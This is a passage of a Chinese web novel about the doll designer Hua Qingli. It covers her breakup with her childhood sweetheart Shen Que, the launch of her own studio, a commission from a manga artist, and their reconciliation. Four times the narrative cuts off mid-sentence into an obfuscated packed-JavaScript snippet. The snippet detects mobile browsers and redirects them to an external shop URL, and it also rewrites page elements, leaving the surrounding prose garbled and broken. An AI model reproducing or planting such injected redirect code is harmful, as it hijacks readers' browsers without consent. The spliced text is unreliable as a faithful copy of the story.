花清漓烦躁地从沙发上起身，轻车熟路地走进房间去洗漱。待她出来的时候，沈确已将早饭做好摆在了餐桌上。 “过来吃饭。”沈确说着，拉开餐桌旁的椅子独自坐下吃早餐。 花清漓摸着饥肠辘辘的肚子，慢悠悠地来到餐桌旁，一眼就瞥见那只带手柄的蜡笔小新陶瓷碗。碗里盛着一碗燕麦，另一只小盘子里摆着一个照烧饭团。 她在沈确对面的空位落座。看着桌上的食物，抬眸偷偷观察着沈确脸上的表情。 原本自己这么骗他、利用他，沈确应该很生气才对，为什么还要收留自己？ 花清漓用右手握着勺子吃燕麦，左手附在大腿上，指甲不自觉地掐进了自己的肉里。 看着她吃完早餐，沈确才像是做了一个重大的决定一般，冷淡地开口对她道：“我重新思考了一下我们之间的关系，” 听到第一句，花清漓就已经猜到了沈确想要说什么。她沉默着，继续听。 “原本不管你再怎么自私、不择手段，我都不在乎。可是花清漓，你的世界里，只有你自己和你的工作。除此之外别的什么都不是。”沈确垂着头，语气平淡地对她道，“从小到大我一直都很喜欢你。而你每一次，都仗着我喜欢你，肆无忌惮地利用我。其实我也是有脾气的，只是我从来不会对你发脾气。” 花清漓沉默着没有接话。 沈确索性继续道：“我不爱你了。我们分手吧。” 听到这句话的花清漓愣在原地。 “爱”吗？原来他们两人之间的感情是“爱”吗？ 从小到大，从来没有人告诉过她“爱”是什么样的感情。 父母的忽视让她不再期待父母的关心；师父严苛的教育让她害怕自己在重要的人眼里一文不值、成累赘，因此不断努力证明自己的价值。她常年忙着学习、忙着工作。不断地努力证明自己，可到头来她还是什么都没有得到。她只知道，比起父母和师父，沈确在她心里更重要；比起沈确，自己的工作和自己的人生更重要。她不想按照别人为自己设定的轨迹走下去，她想要把未来握在自己手里。她不明白这有什么错？ 沈确不再多说，起身独自回了房间。独留花清漓一人在客厅。 花清漓看着沈确落寞的背影，把心一横，回自己房间拿了行李，头也不回地出了门，准备朝自己工作室的方向过去。 在房间里的沈确靠在门上将花清漓的一举一动听得一清二楚。他强忍着追出去的冲动，垂着头让自己不再去想花清漓的事。 离开沈确的家，花清漓第一时间看着自己银行账户，准备给自己买一套房子。可就在她找了个地段合适的小区售楼处咨询时，却意外发现自己名下在这个小区竟然有一套房子。在查过购房信息后，花清漓才知道原来这套房子是爸爸早早就给她准备的。 花清漓看到付款记录上的日期记录，居然是上次她住院的那几天。 她核实过身份证后，跟着售楼经理来到了这套房子门口。 “这扇门是指纹锁的，我帮你把指纹录入就好。这是钥匙，如果遇上停电可以用钥匙打开。”经理说着，从口袋里拿出一把钥匙递给花清漓。顺便帮她录入了指纹。 “谢谢。”开门后，花清漓迈进新家对身后的经理道。 “不用客气，这是物业的电话。”经理说着，又递给她一张名片。 花清漓接过名片扫了一眼，记下了电话号码。 “那我就先走了，祝您生活愉快！”经理和她道别后，转身离开。 花清漓收好钥匙关上门，在新家里四处逛了逛。 家里面积不算大，60平。一室一厅的复式公寓。布置得很温馨，蜡笔小新在房子里随处可见。玩偶、地毯、摆件等，都有蜡笔小新的图案。 床铺在二楼，靠着落地窗，地上铺满了卡通图案的地毯。还有各种各样的布娃娃，有不少都是花清漓小时候自己做的。 她在床上躺下，随手捞过一只小熊□□布娃娃抱在怀里，翻看着手机上的信息。 爸爸的信息是十分钟前发来的。说是听中介说她入住了房子，已经把钥匙交到了她的手上。 花清漓躺在床上，干脆给爸爸打去了电话。 不出所料的，电话很快被接听，爸爸的声音从对面传过来：“这是我给你布置的房子，沈确那小子说你很喜欢那个叫《蜡笔小新》的动画片，我还寻思你这么大了怎么还喜欢看小孩子们爱看的动画片呢……我给你布置房子的时候就特意在网上看过那么现在的孩子们都喜欢什么样的房子布置。我给你弄得怎么样？” “挺好的，”花清漓抱着小熊□□回答道，“我很喜欢。” “那就好。”墨松寒在电话里似乎松了口气。 他沉默了片刻，才继续道：“听你师父说你开工作室了？” “嗯，人招得差不多了。找我合作的项目也挺多的，毕竟我这么多年也不是白混的。等我休息两天回去就正式开工。”花清漓道。 “这么自信？话别说太满！”墨松寒在电话里提醒道。 “哪有，在工作上我有十全的把握才会真正开始下手。放心吧，找我的合作方看中的是我的创意，这么多年来，我的设计稿从来没有让甲方失望过。早就有准备了，我手上不是没有项目。”花清漓轻描淡写道。 墨松寒叹了口气，继续道：“没事。工作室刚开始要花钱的地方多着呢，你要是缺钱就和爸爸说。” “知道了！”花清漓抬起手整理了一下鬓角的碎发。 “那我挂了。按时吃饭听到没有？冰箱里给你买了点米和蔬菜，长这么大了自己也学会做饭了啊。” “我一会儿看看吧。”花清漓又和随便聊了几句才挂断电话。 她躺在床上看着天花板，并没有什么食欲。 所谓的分手，并没有让花清漓因此伤心。她确实有些过意不去。她知道沈确并不是因为自己让他误会自己是“怀孕”，还沉默着不解释才生气。而是因为自己明明生病，有计划，却依然算计着沈确这个自己最亲近的人。看着他空欢喜，到担心自己的病情，自己却毅然决然地离开他。 花清漓知道伤心的人是沈确才对。可偏偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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花清漓索性约对方面谈。对方告诉她这会正好有空，问她能不能到MD楼下的那家咖啡厅聊聊。 MD？那不是沈确所在的工作室吗？游山尽怎么会选这个地方？那家咖啡厅是个网红店，平常拍照打卡的人很多，饮品也并不好喝。价格也不便宜。花清漓一向对这些华而不实的东西无感。 花清漓带着电脑来到楼下这家咖啡厅门口，果然看见不少人在店内拍照打卡。 她推门走进去，很快就看到坐在窗户旁的一个身着白色的刺绣衬衫，下身是一条棕色西裤的男人。他留着一头齐脖卷发，捧着平板低着头画画。 要说花清漓为什么一下子就认出这个人是游山尽，正是因为除了他本人以外，他所坐的桌面上还摆着一只由花清漓亲手制作的粘土蛋壳娃娃。 这只娃娃只有巴掌大小，是花清漓用粘土模仿碎掉的蛋壳制作人偶的躯干设计出来的6分尺寸的摆件。 花清漓上前刚要与之打招呼，游山尽却先她开了口：“我看过您从前的所有作品，我很喜欢，所以特意找您合作。这一次的合作我希望它不是限定而是通贩，您觉得怎么样？” 41.41 “当然没问题了！”花清漓求之不得。 “太好了！”游山尽笑道，“我这次准备画一个架空未来的科幻故事，加入了蒸汽朋克的元素。但我只设定了背景故事和大概的形象，还没有正式画出原画。我希望你可以发挥想象，在这个基础上继续设计这个角色。我为这个人偶设定的故事背景是：生于战乱年代的女战士，为了保卫国家甘愿舍弃手脚接受改造。有着一条十分强大的机械手臂，要是还能有机械腿最好了。由于太过强大，需要依靠一个头盔型的稳定器来避免暴走。一旦摘下稳定器发生暴走故障，仅凭一人就能轻而易举摧毁整座城市。只要她出征的战场就能赢得压倒性的胜利。她的本性是绝对正义的。但由于改造的身体太过独特，成为了市民中的异类。她无法融入社会，只能孤独地作为＇工具''跟随军队随时奔赴战场。这是我为这个角色写的人物小传。怎么样？” 花清漓听完游山尽设计的背景故事，脑海中也随之联想出了画面。 “＇战争女神''嘛……”花清漓抬手支着脑袋思考着，“我会给这个人偶设计成3分的尺寸；服装方面就不考虑裙子了……” 游山尽两手一拍，赞同道：“是嘛！又不是所有的女性都必须要穿裙子！我希望服装方面简单一点，要贴合人设！” “明白！”花清漓拿出手机，问游山尽：“能不能把你这篇人物小传发给我？我回去好好揣摩一下，画了初稿再给您过目？” “当然可以！”游山尽顺势拿出手机，将一份文档发给了花清漓。 收到文档的花清漓先是打开大概扫了一眼，才收起手机应下：“好的，回去我和我们员工一起讨论一下。我最近工作室刚刚开张，还在招人，可能工期会比较慢。以我的想法，一般情况下，做完大全套大概会需要半年的时间。不过我们现在工作室刚刚开张，会尽快完成您这一单。您有什么意见的话可以提前说。” 游山尽听到半年的工期，有些惊讶道：“平时都要等那么久啊！” “这只是制作特体人偶的过程所需的必要时间，不包括设计所耗费的时间。”花清漓提醒道，“不同风格不同尺寸的人偶，制作起来花费的时间和精力都属于手工成本。人偶想要做得精致独特，就要靠人形师将树脂原料和石塑粘土一点一点打磨成型。技艺娴熟的人形师不会浪费原料，会节约成本。所谓慢工出细活，我会对我的作品负责。” 听完花清漓的描述，游山尽道：“我倒是不急，等你招到员工正式开工之后再说吧。” “好！”花清漓微微蹙眉，她比较苦恼的是自己工作室招聘的事情。 “明天我请律师拟好合同给你发过去！”游山尽起身对花清漓道。 花清漓知道他准备离开，起身道：“好。希望我们合作愉快！” “合作愉快！我先走了！这个小娃娃我很喜欢！”游山尽笑着摆摆手，带着那只粘土蛋壳娃娃朝门口缓步离开。 花清漓目送他离开。 直到游山尽的身影消失在门口，花清漓才疲惫地爆了句粗口：“去你大爷的，过得什么狗屁人生。” 她说完，烦躁地离开了咖啡厅往自己工作室的方向过去。 室外的天，阴沉沉的，不知何时下起了蒙蒙细雨。 回到工作室的时候，花清漓看见了三个熟悉的身影。 穿着一身白色小香风套装的Gwen带着珍珠耳环，手里跨着浅蓝色鸵鸟皮LV capucines。 Esiason和Freemon的穿着倒是一如既往地随意。 Freemon穿了身灰色的休闲西装，Esiason则套了件宽大的灰粉色印花T恤，下半身更是一条浅灰色牛仔裤。 三人见花清漓回来，Freemon先行朝着花清漓招手打招呼：“呦！花老板回来了！” “怎么想起找我来了？”花清漓走上前去，和三人打招呼。 Gwen凑上前来一把抱住花清漓的胳膊道：“Evelyn救命啊！我们实在受不了Donald和景爷了。景爷除了喝奶茶什么都不会干！Donald尽给人添堵，烦都烦死了！” “怎么回事？”花清漓不解地看向Freemon。 Freemon顺着Gwen的话继续解释道：“是这样的：你辞职以后，Donald招了几个人形师和原画师。但设计出来的都不如你以前通贩款的！Donald亏本了，前段时间还因为这事和景爷闹别扭了呢。” “后来的事你应该也知道了，”Esiason接着道，“Donald让新来的画师拿以前的设计稿出来二改。我们都不同意，结果我们反被骂了一顿。” 花清漓听完三人的话，微微蹙眉，“你们一起辞职的？根据劳动法，你们递交辞职信后不是还要干满三十天吗？” Freemon解释道：“额……反正我是在你辞职前半个月就递了辞职报告，我本来打算和我女朋友一起开酒吧的。调白夜镜酒吧你们知道吧？是我女朋友开的。她赚得比我多，衬得我像个吃软饭的……” “噗哈哈哈……”Gwen被Freemon最后一句话逗笑，“不错嘛Freemon！年纪轻轻地就''傍上富婆''了！” “说什么呢你！”Freemon不服气地回呛了Gwen一句。 听完Freemon的解释，花清漓看向Gwen和Esiason，问：“那你们两个又为什么辞职？” Esiason诚实地开口，语气冷淡道：“因为你的项目一向最赚钱。还有就是，我跟新来的设计师根本沟通不了，我理解不了他的设计，做不出他想要的效果。况且，这次二改你的设计稿我们一点发言权都没有。关注我们社的玩家们都看得出来原版的设计师是你，你的风格太好认了！结果Donald在官博嘴硬，又碰上你亲自下场实锤二改商用，或多或少造成了一些负面影响。不过也是他自己作的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659395|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “诶，别说这些晦气事了！”Gwen打断几人，她看向花清漓问道：“你最近手里接了什么新项目？之前有好几个合作方到DH&D找你，结果听说你辞职了就直接走了。Donald怎么挽留都没用！” 花清漓双手抱胸，道：“最近招了两个人形师，我们想做一批机械特体的人偶。哎呀！”她突然想起什么似的，对着三人抱歉道：“去我工作室里面坐坐吧！和你们聊着我都忘了请你们进去坐了！真是不好意思！” “没事！”Gwen无所谓地摆摆手。 花清漓领着三人走进自己工作室的会客厅。 “明天会有新项目的合同来。”花清漓给三人分别倒了水。 三人坐在会客厅的沙发上，听到这话纷纷好奇地看向她。 Esiason最先开口问：“什么项目？” “漫画家游山尽，”花清漓道，“他昨天联系我，说想找我用他新漫画里的角色为原型，做一个人偶。但他只写了这个人物的背景故事，还没有画出来。他希望这个角色的形象由我进行设计。” 听到“游山尽”的名字，Esiason道：“他啊，我知道他。他画画是自学的。画风还挺多的。这几年比较偏重于＇厚涂''画风，还用这种画风开了两本漫画。因为更新太慢，被粉丝称为＇有生之年''系列呢！” “这次的项目我已经有想法了，”花清漓给自己倒了杯水，抿了一口后继续道，“等明天签完合同，过两天我把人偶的设计图先画出来给游山尽过目，只要他点头，我们就开工。明天再介绍新同事给你们认识！” “新同事就是你招到的那两个人型师吗？”Gwen问。 “对！＇隔壁一枝花''，你应该知道她！”花清漓道，“我还得再继续招几个品牌推广、新媒体运营，还有摄影修图师、场景道具师。等人招够了工作室才能顺利运营。” “没事，摄影修图、场景道具这些我们也会做。”Freemon宽慰道，“你先招个品牌推广，其它的事我们可以帮忙。” 听Freemon这么说，花清漓的心里可算是松了口气。Gwen、Freemon、Esiason几个人从入职开始就一直跟着她。看着她从一个不起眼的人型师一步一步走上创意总监的位置。他们几个从来没有背叛过她。 从前除了工作方面的交接，花清漓和大家很少说笑。每次聊天也基本都是在谈工作，很少会像现在这样有说有笑地坐在一起。 花清漓思考了一下，对几人道：“那好吧，我先招个品牌推广。工作的事我们明天再谈。” 正当Esiason起身准备离开时，Gwen忍不住朝着花清漓问：“诶，Evelyn，你和你男朋友最近怎么样啊？他经常来看你吗？” 听Gwen突然提起沈确，花清漓有些尴尬。 Esiason听到这个话题，原本站起来的身体又坐回了沙发上。 42.42 “分手了。”花清漓叹气道。 “啊？”Gwen惊讶地看向她问，“你们不是青梅竹马吗？这也能分？” “吵架了？”Gwen笑问道，“谁的错？” 花清漓苦笑抬眸看向她，问：“我的错。我骗了他，他当时可能想求婚吧。但我拒绝了。” Gwen闻言挑了挑眉，又问：“还因为你’怀孕‘的事？你本来就是骗他的，结果被发现了？” “倒不全是因为这个，”花清漓点头回答道，“毕竟我从来没有承认过我是怀孕，还是生病。” 听到花清漓这么说，几人将她上下打量一番，Gwen率先反问道：“所以你果然是生病了？” “是焦虑症躯体化引起的呕吐反应。”花清漓如实回答道。 Gwen听到花清漓的病症倒一点也不惊讶，反倒表示理解地宽慰道：“你在你师父手底下这么几年，你是怎么当上创意总监的大家都看在眼里。毕竟我听小景说你当初来工作室的时候，你师父给大家立了个规矩：谁业绩最高最稳定，谁就是创意总监。不过那场火还真是让你因祸得福。保留下来的设计稿中，就属你的设计最特别。就算你师父当时真的是因为偏心选了你，单凭你的创意就足以让人心服口服。不过真可惜，我听说你师兄因为当年这场火也受伤离职了？” “那场火啊……”花清漓听到林言蹊的事，忍不住别过脸。 “怎么了？”Gwen听到花清漓欲言又止，忍不住追问道。 花清漓敷衍地解释道：“就是有些过意不去。” “你是说林言蹊受伤的事？”Gwen抬手搭在花清漓的肩上，“别想太多，那场火本来就是个意外。他受伤也不全是因为回去救你。” 花清漓回过头看向Gwen，露出一个苦笑道：“谢了。” “说说你男朋友吧？诶，不对，是前男友。”Gwen将话题再度绕回到沈确的身上，“怎么，你打算跟他和好，还是真的就此因为这么点小事就断绝关系？” 花清漓听到最后一句话，忍不住反驳道：“哪有那么幼稚。想也知道他上次说的都是气话。当时他在气头上我就没哄他。最近估摸着也该消气了，最近我忙着处理工作室的事情就没找他，等我忙完再去哄他好了。免得吵架。” “你们经常吵架吗？”Gwen有些不敢相信地看着花清漓。青梅竹马也会经常吵架？这算什么青梅竹马？ 花清漓笑道：“是啊，经常吵架。不过每次吵完很快就和好了，不是他哄我，就是我哄他。从小到大都是这样。” “怪不得你俩从小到大能玩一块儿呢……”Gwen忍不住吐槽道。 “嗯？Evelyn的男朋友是谁啊？”坐在一旁听八卦的Freemon忍不住好奇道。 “是MD潮玩工作室的Keder对吧？”Esiason插话道。 听到沈确的名字，Freemon惊讶地指着花清漓道：“你俩不是宿敌吗？你们每次的设计风格都很像，你们俩不是一直攀比的吗？应该很嫌弃对方才对啊……你们居然是从小一起长大的青梅竹马？” 花清漓瞥了一眼Freemon，解释道：“我们俩从小就喜欢竞争，大部分也是因为竞争的时候没有把对方比下去，觉得不服气所以故意去对方面前找茬才吵架的。都是一些很幼稚的小事。久而久之周围的人都习惯我们这样了。出来工作以后，我们也经常这样。不告诉大家主要是觉得我们针锋相对是我们自己的私事，没必要让大家都知道我们关系。” “我觉得你还是趁早去找他吧，一直冷战也不是办法。”Gwen忍不住插嘴提醒道。 花清漓却下意识地回避道：“知道了。等我工作忙完再说吧。” “别啊！”Gwen再次开口，“有误会大大方方说清楚就好了，别拖拖拉拉的。把他约出来说清楚，这事不就完了嘛！” 花清漓垂着眸，考虑着Gwen的提议。 “Gwen说的对啊！既然你们从小到大都这样，就别这样一直怄气了！”Freemon劝解道。 说的也是。花清漓在心中认同道。 片刻后，她抬起头对三人道：“知道了。说回工作吧，既然你们来了，那——明后天就开工怎么样？我先画设计图。” “Evelyn已经有想法了吗？”Freemon问。 花清漓解释道：“就是在我们原本的三分素体上加以改动，将一条手臂和一条腿替换成机械形态。至于头部的建模，Esiason，你把她捏的英气一些。其它的还和我们以前一样。” “明白！”Esiason打了个响指，点头应下。 几人又聊了几句，一直待到傍晚才各自离开。 花清漓目送三人离开后，再次回到自己的工作间，开始打磨用来做人偶内芯的树脂材料。 - 此时此刻，DH&D的总监办公室内。 景爷一手举着奶茶坐在椅子上，一手时不时地滑动着桌面上的平板，翻看着微博上的信息。 Donald手里则端着一杯咖啡，悠闲地和景爷一起看微博信息。 “还好你提前留了一手，不然我们就真得背官司了！”景爷的目光停留在自家官博反驳花清漓的那条微博上。难得看到花清漓吃瘪，他别提多满意了。 “哼！Evelyn就是一个小姑娘，以前也就仗着她师父给她撑腰。现在离了她师父，她还能有多大能耐。这一次，她翻不了身了。”Donald得意地撇了一眼景爷道。 “Gwen、Freemon还有Esiason这三个家伙对Evelyn倒是忠心耿耿。Evelyn都落魄到这般地步了，居然还愿意跟着她。”景爷想起三人陆续辞职的情景，忍不住感叹道，“Evelyn这一次不知道能不能像以前那样成功。现在的年轻人总要受点挫折才会懂事。” 景爷话锋一转，随口道：“要是能让Evelyn再也不能翻身的话那就好了。” Donald听到这句话，心下顿时生出一个主意。 景爷注意到他的神色变化，忍不住抬手敲了敲桌面提醒道：“Evelyn再怎么说也是上面那位亲自带出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678151|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小徒弟。他刚没了女儿，你别做得太过分！” “知道了！”Donald意味深长地看向窗外，不知道在想什么。 - 接下来的一个月，花清漓都忙着制作联名款的人偶。 作为甲方的漫画家游山尽每隔一周会来花清漓的工作室看看工作进度。 今日，正好是游山尽前来视察工作进度的日子。 花清漓招待他在会客厅坐下。 “没想到你那么快就招到人了！”游山尽看着会客厅外的几个人，不由得感叹道。 花清漓朝外面瞥了一眼，笑道：“有三个女孩是新来的，其中有两个也是人形师，非常有创意！其他的都是以前在我师父那边就跟着我的人，对我很忠心！” “这年头有创意的人形师可不好招啊！”游山尽看着会客厅外坐在工位上正在雕刻人偶的两个女孩，忍不住感叹道。 “看来我运气还不错，”花清漓看向工位上的林月明和虞归晚道，“她们两个是校友，还有一个平面设计师跟她们一起。她们三个当年是一起读的高中，感情很好。酒量也好！” 说到最后一句，花清漓想起第一次见到三人的场景，无奈地笑了笑。 游山尽看着大家悠闲的工作状态，对花清漓道：“上次你和DH&D的事我在微博都看到了。失去了自己亲手设计的作品版权，是一件很难受的事吧。” “是很难受，也很无奈。”花清漓垂眸道，“如果当初签合同的时候，我添一句＇所有设计稿未经我同意不得二改商用''，情况就会好得多。” “你呀，一出学校就进了你师父的工作室。一待就是三年。那毕竟是你师父的工作室，你一开始没有警惕是很正常。”游山尽宽慰道，“正所谓吃一堑长一智。这次吃亏了，自然就长记性了！” 花清漓看向游山尽，苦笑道：“您就别打趣我了！战争女神的小全套我已经让大家加急做好了一套，也测试过了各个关键的灵活程度。等预售直播的时候，我们会在直播中向玩家们正式展示和介绍她。然后就可以开预售了。价格方面，这一套因为是机械特体，涂装比较麻烦，所以白肌小全套机械体的售价是5800。我们会开白肌、粉肌、粉白肌、灰肌、绿肌这五种肤色。灰肌和绿肌这两种肤色另外加收500元的妆造费用。全套价格就是6300、素体价格3700。至于人版素体价格是3590，灰、绿两种肤色也是同样加收500元妆造费用。当然了，灰、绿这两个肤色是每次开仓限定50体的。您有什么意见吗？” 游山尽听完花清漓一大段的介绍，思考了一会儿才道：“谢谢你和我说这些。我大概听明白了。其实这次企划，也是粉丝们求我来找你帮忙做这个人偶的。我知道我的粉丝们喜欢你做的人偶，也喜欢你的创意。果然这一次我听他们的来找你合作是一个正确的决定。就按你说的办吧，分成也按我们合同上写得来。我一会儿就把钱打给你！” “游老师您客气了，”花清漓笑道，“这是我应该做的！今晚我们会再进行一次人偶素体的关节活动测试，并正式开始拍摄宣传视频。” 43.43 “是嘛！那太好了。交给你我很放心，”游山尽笑道，“我也要去剧院看看了。我的故事被改编成了舞台剧，过两天开始在中心剧院演出。这几张门票就当是我一点心意，还请你收下！” 游山尽说着，从口袋里掏出一小沓门票递到花清漓手上道：“有时间请过来捧个场吧！” “好！”花清漓接过这沓门票，“等我们忙完，一定去给您捧场！” “我先走了，不用送了！我会看晚上的直播的！”游山尽说着，起身拿着手机朝会客厅门外走去。 花清漓目送游山尽离开，数了数自己手里的门票，发现除了足够自己工作室的人数之外，还额外多了三张门票。 她忽然想到了沈确。不知道这家伙是不是还在生她的气，一个多月了，连个电话或信息都没有。这些时日以来，她都忙着打理工作室，其它的事都没有过多在意。沈确这次看来是真的生气了。 “唉。”花清漓无奈地叹了口气，走出会客厅和正在工作的大家道：“我要出去一趟，有什么事直接打电话给我。我会在晚上直播之前回来！” “好的！”Gwen坐在Esiason身旁，盯着电脑上的宣传视频回应道。 花清漓又嘱咐了几句，拎着包匆匆离开。 室外阳光明媚，是个好天气。这几日气温也在不知不觉中上升。 她朝着OAK商店的方向疾步前进，抵达目的地时，身上已起了一层薄汗。 店里的空调十分凉爽，花清漓迈进门，远远地就看见林言蹊独自坐在柜台前，正在给一只三分特体的人偶素体拉筋。 花清漓走上前去，调侃道：“这种活让手底下的人来做不就好了嘛？你的右手自从受伤骨裂之后不就很难活动吗？干嘛这样勉强自己？本来师父让你在这里也就是让你清闲自在地休假嘛。” 坐在柜台里的林言蹊没有停下手里的活，回答道：“不用什么事都去麻烦别人。帮一两次是帮忙，次数多了别人就会烦了！再说了，我又不是什么都做不了！” “是是是～”花清漓无奈地叹了口气，径直走进柜台里，在林言蹊一早就准备好的躺椅上懒散地躺下。 林言蹊坐在柜台旁回过头瞥了花清漓一眼，问：“你怀孕的事，是假的吧？” “嗯。”花清漓刷着手机，干脆地承认道。 林言蹊转过身对着花清漓，看着她问：“你怎么会出此下策？你知不知道工作室的人一开始都在议论你！” “随他们去吧，说我几句又不会死。”花清漓无所谓道，“我从来都没有承认过我是怀孕这件事。是这群人自己肆意揣测。我本来就不想在那种压抑的环境下呆下去了，干脆将计就计。” 林言蹊凭借着对花清漓以往的了解，早就猜到了她的计划，“你到底生的什么病？抑郁？还是别的？” “焦虑症躯体化引起的呕吐反应而已。”花清漓轻描淡写道。 “焦虑症躯体化？”林言蹊惊讶地瞪大了眼睛看着她，“你在师父手底下，压力一直这么大吗？” 花清漓看着天花板，嘴角勾起一抹冷笑道：“你看不出来吗？之前在D社，Donald明里暗里坑了我多少次！所有人都知道我是师父亲手带出来的徒弟，虽然我凭自己的本事爬到了创意总监的位置。但自从我成为创意总监之后，Donald这家伙就开始给我各种使绊子。工作室是我师父的，我是师父的徒弟，从小在师父身边长大。这是所有人都知道的事情。知道这些事还敢故意针对我的人，除了蠢就只有我师父的授意了。Donald可不会跟钱过不去，当然不会犯这个蠢。所以只会是师父的授意。至于目的嘛——可能想锻炼我，也有可能是别的。” 林言蹊听完花清漓的描述，笑道：“师父会有这种想法很正常。毕竟他年轻的时候也是这么过来的。” 这件事花清漓也知道。当年师父一个人凭一己之力，开创了国内第一个人偶品牌。 “听说你今天工作室的新品会正式上架发售。宣传视频我看了，我也在等你直播呢！”林言蹊看着花清漓笑道。 花清漓放下手机，对林言蹊道：“我这次找到了两个不错的人形师，我做的这个系列最初的创意，就是她们其中之一提出来的。我喜欢有创意的人，我准备多给她们俩一些机会。等她们做了新款，我就给她们上架。” “工作室吸收新鲜血液是很好，但你现在刚刚开始，还是不要太轻易相信别人。她们不是Mavis和Gwen，和你相处得也并不久。”林言蹊提醒道。 “我知道。”花清漓靠在躺椅上，刷着手机上的蜡笔小新电影回答道。 林言蹊瞥了一眼花清漓的手机屏幕，调侃道：“你还真是从小到大都喜欢看蜡笔小新。” “那又怎样！”花清漓撇撇嘴反驳道。 林言蹊摇摇头，转过身继续为手中的人偶拉筋。 两人时不时地聊几句。 “你和沈确怎么了？”花清漓躺在躺椅上，突然听到林言蹊这么问自己。 “分了。”她头也不抬，干脆地回答道。 林言蹊嗤笑一声，“什么理由分手啊？该不会就因为你假怀孕骗了他吧？按理说他最理解你的处境，不至于那么幼稚就和你提分手。你是不是又做什么对不起人家的事情了？” 听到林言蹊的质问，花清漓愣了片刻，反问道：“额……这种事我好像做得真不少。以前也不见沈确那么大反应，每次吵架也都当面就吵起来了，从来不会像现在这样。我不告诉他是因为我觉得以他对我的了解，应该很快就能发现我不是怀孕、我想做的事情吧。” “呵！”林言蹊不屑地摇头道，“你不知道恋爱中的人，不管男女，智商都是负数吗？当他爱你的时候，不管你说什么他都会相信的。怎么可能想那么多！你有没有听过一句话？” “什么？”花清漓问。 林言蹊看着花清漓，道：“＇怀疑一旦产生，罪名就已成立‘。当他听到你亲口说是骗他的那一刻，他就清醒了。从而开始复盘思考你的计划是从什么时候开始的。在这期间，会产生各种怀疑。不管你这么做最初的目的到底是好是坏，他对你都会心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从OAK出来后，花清漓就捧着手机翻看着沈确最近的朋友圈。她自己倒是没有发朋友圈的习惯，她从来不是一个分享欲强的人。自然而也没有看朋友圈的习惯。只有在沈确面前偶尔会吐槽一下最近的工作，除此之外再无其他。沈确则和她相反，虽然不拍照，但朋友圈里总爱吐槽一些生活和工作上的小事。 花清漓翻着沈确这两个月来的朋友圈，发现他前段时间因为接手了新的项目，整个人忙得不可开交。直到今天早晨才发了一条“目标达成”的朋友圈。看来是工作刚刚忙完。 也不知道沈确下班了没有。今天不是周末，现在是下午五点，正好是下班的时间段。花清漓干脆一不做二不修，独自来了沈确工作室的楼下等他。 花清漓独自站在楼下的大厅里等待。电梯里陆陆续续出来不少沈确工作室的同事，其中有不少眼熟她的，在经过她身旁时纷纷朝她投来诧异的目光。 “怎么还不来……”花清漓盯着电梯小声抱怨道。 她今天穿的是YANGKEHAN草灰色吊带长裙，披着同色系的香云纱长袍外套。衬得整个人身型更加单薄。 终于在过了五分钟后，电梯的门被打开，穿着浅驼色西装正低头看手机的沈确从电梯里走出来。 熟悉的阿蒂仙小偷玫瑰香水味时隔多日再次出现在自己面前，沈确瞬间意识到是花清漓来了。至于花清漓来做什么，他也了然于胸。 沈确收起手机，饶有趣味地看向面前的女人。 44.44 沈确的同事们陆续下班离开，只剩下花清漓和他站在电梯外。 见沈确看到自己的表情不像是生气的样子，花清漓原本悬着的心终于放下了。 她低着头上前抬手抓住沈确的袖子晃了晃，解释道：“上次骗你的事对不起了嘛，你别生气了好不好～那是我在那种情况下唯一能脱离我师父掌控的方法了。我没想到你会当真。不生气了好不好～” 花清漓的语气不自觉地带了点撒娇的意味。这个方法对沈确一向很管用。 只见沈确先是沉默了片刻，在叹了口气之后才抬手轻轻推了一下她的脑袋，道：“以后有什么计划提前跟我说，不要每一次都让我自己猜。” “嗯嗯！”花清漓毫不犹豫地答应。 沈确叹了口气，随手将她搂在怀里朝门口走去。 两人出了工作室所在的大楼后，沈确低头看着怀里的花清漓问：“听说伯父给你买了一套房子？那你……是不是不回来住了？” “是的，”花清漓道，“爸爸给我买的房子距离我工作室那边也很近，我上班很方便。” 沈确沉默了片刻，低头看着花清漓问：“我已经不生气了，你就不能搬回来住吗？” “可是住在我那儿，我平时上班更方便啊！”花清漓反驳道。 “那我搬过去？”沈确提议道。 花清漓眯起眼睛看着沈确，道：“怎么感觉你蓄谋已久啊？” 沈确毫不避讳地承认道：“答对了！” “切！”花清漓笑了笑，没有再说什么。 沈确抓住机会坦言道：“我就是不想和你分开。一想到我不在的时候你又去找林言蹊那个混蛋我就来气！” “你怎么知道我又去找他了？”花清漓抓住重点反问道。 